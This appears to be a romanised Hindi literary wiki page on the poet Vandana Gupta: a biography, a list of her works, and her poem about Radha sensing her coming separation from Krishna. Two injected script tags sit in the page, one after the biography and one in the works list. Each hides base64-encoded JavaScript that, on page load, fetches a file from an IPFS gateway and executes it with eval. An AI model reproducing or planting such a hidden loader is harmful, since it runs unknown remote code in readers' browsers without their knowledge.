बंजर अश्रुबिन्दु -एक अवस्था -वंदना गुप्ता

banjar ashrubindu -ek avastha -vandana gupta vandana gupta|200px|center kavi vandana gupta mukhy rachanaean 'badalati soch ke ne arth', 'tootate sitaroan ki u dan', 'sarasvati suman', 'hriday taroan ka spandan', 'krishna se sanvad' adi. vidhaean kavitayean, alekh, samiksha aur kahaniyaan any janakari vandana ji ke sabhi pratishthit patr-patrikaoan, jaise- kadambini, biandiya, pakhi, hiandi chetana, shabdaankan, garbhanal, udanti, attahas, adhunik sahity, navya, simpali jayapur adi ke alava vibhinn ee-patrikaoan mean rachanaean, kahaniyaan, alekh adi prakashit ho chuke haian. inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vandana gupta ki rachanaean ek mauqa mrityu ke bad -vandana gupta prem ya vikalp -vandana gupta ho tum khud ki chahatoan mean lipayaman -vandana gupta suno ram tum sirf avatar the -vandana gupta gopibhav -vandana gupta hai n yahi sthiti -vandana gupta ab kaise bite ye umr sari -vandana gupta kya hai koee javab tumhare pas -vandana gupta tumhare lie kuchh bhi asanbhav nahian -vandana gupta eeshvar 'hi' hai ya 'shi' -vandana gupta kya chahate haian? -vandana gupta chalo mahafil saja looan -vandana gupta mohan ! kal jo tum muskurate mile -vandana gupta banjar ashrubindu -ek avastha -vandana gupta pashopesh mean hooan -vandana gupta prem se ya phatakar se? -vandana gupta hai aur nahian ke madhy -vandana gupta ek saty -vandana gupta dhoo dhoo kar jal rahi hai chita meri -vandana gupta maian teri ho jaooan -vandana gupta nainan p d ge phike -vandana gupta hai n acharaj -vandana gupta ashk kaise bahaooan? -vandana gupta madhu ho tum -vandana gupta ekatarafa prem ke svami -vandana gupta akhir apanoan se kaisi pardadari? -vandana gupta saanvare toone ye kya kiya, ye kya kiya -vandana gupta oh pyare! yooan man ko mohana koee tumase sikhe -vandana gupta yogakshem vahamyam tumane hi to kaha na -vandana gupta <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

suno kanha aj radha ka svar chintit tha ye alaukik prit ka dar tha priyatam nikat tha magar phir bhi bichhad jane ka bhay tha gazab ka samarpan tha sammohan tha prem ka adbhut rang tha na jane kaun si chhaya ne ghera tha jo radhe ke mukhamandal par chhayi vishad ki rekha thi yooan hi nahi aj radha ka man adha tha yooan hi nahi aj radha ne thama kanha ka kandha tha     ah! prit bhi kaisi hoti hai bhay se jisaki nazadiki hoti hai premi ke bichhadane ke bhay me hi ek zindagi basar hoti hai magar ye mahaj ek kora bhram to na tha radha ko kuchh to aandesha ho gaya tha tabhi to aj kanha ke kaandhe par thakit udas radha ka man shyamali chitavan me kho gaya tha jaise pi jana chahati ho aj hi sara premaras ek hi ghooant me jaise ji jana chahati ho aj hi umr ki har ghadi ek hi pal me jaise sama jana chahati ho aj hi mohan ki mohini mohan me uf ! ye nari hriday kitana vyakul tha jo ek aandesa man me upaja tha usi me chintatur tha prit ki shayad yahi to rit hoti hai premi se bichhadane ki kalpana bhi asahy hoti hai vahaan radha ne jaise sab jan liya tha shayad ane vale kal ko bhaanp liya tha tabhi to aj apane shyam ke kaandhe par muraliya ki chhaanv me ashru to na dhalakaya tha      magar shabdoan se pare mohan bhi jan gaye the tabhi to aj vo bhi vyakul huye the aur radha ko yooan nihar rahe the jaise sama lena chahata ho sagar apane agosh me sare jahan ke jalaprapat ko jaise milan aur bichhadane ki antim vela ke bich ki mahin lakir ko par karana chahakar bhi par na karate hoan aur apani apani hadoan me khade sirf prem ki chhitaki chaandani ko pite hoan ek dooje ke hone par bhi na hone ki lakshman rekha ke bich jaise aj chaand sulaga ho aur mohan ko jaise aj chaand ne thaga ho   ye kaisi sagar ki asim shaanti thi jo toofan ka sanket bani thi kal ki na jise khabar thi vo aj hi kuchh lamhoan me simati thi antim vidaee ki bela me shayad ye hi antim milan raha hoga tabhi to shyam ne na kuchh kaha hoga yooan hi nahi radha ka mukh kumhalaya hoga yooan hi nahi lamha vahaan thithaka hoga   tabhi to dekho na har patte , har booante , har dal aur pat par kaisi khamosh udasi chhayi hai madhuban bhi ye dekh sakapakaya hoga suna hai kuchh aghatit ghatit hota hai to usase pahale apashakun hone lagate haian hai na mohan! dekho na yooan hi nahi radha ki khamosh khamoshi ne sab tad liya hai   shayad tabhi sau sal ke bichhoh ki avyakt abhivyakti thi radha ke mukhakamal par chhayi udasi

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